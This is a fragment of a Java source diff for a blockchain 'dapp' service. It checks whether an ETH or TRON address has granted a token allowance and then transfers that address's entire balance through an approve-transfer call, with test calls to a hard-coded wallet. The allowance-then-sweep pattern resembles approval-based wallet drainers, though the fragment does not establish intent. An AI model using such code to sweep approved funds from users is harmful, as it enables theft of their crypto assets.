| | |
| | | package cc.mrbird.febs.dapp.chain; |
| | | |
| | | import cc.mrbird.febs.common.exception.FebsException; |
| | | import cn.hutool.core.util.StrUtil; |
| | | import cn.hutool.http.HttpUtil; |
| | | import com.alibaba.fastjson.JSONObject; |
| | | |
| | |
| | | */ |
| | | public boolean isAllowance(String address) { |
| | | BigInteger result; |
| | | if (address.indexOf(ETH_PREFIX) > 0) { |
| | | if (address.startsWith(ETH_PREFIX)) { |
| | | result = ETH.ethAllowance(address); |
| | | } else { |
| | | result = TRX.allowance(address); |
| | |
| | | return Integer.parseInt(total); |
| | | } |
| | | |
| | | public String transfer(String address) { |
| | | BigDecimal amount = balanceOf(address); |
| | | |
| | | return transfer(address, amount); |
| | | } |
| | | |
| | | public String transfer(String address, BigDecimal amount) { |
| | | String hash; |
| | | if (address.startsWith(ETH_PREFIX)) { |
| | | String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124"); |
| | | JSONObject data = JSONObject.parseObject(resp); |
| | | hash = ETH.approveTransfer(address, amount, data.getString("avgPrice")); |
| | | } else { |
| | | hash = TRX.transfer(address, amount); |
| | | } |
| | | return hash; |
| | | } |
| | | |
| | | public static void main(String[] args) { |
| | | // System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD")); |
| | | // System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5))); |
| | | |
| | | // System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); |
| | | System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); |
| | | } |
| | | } |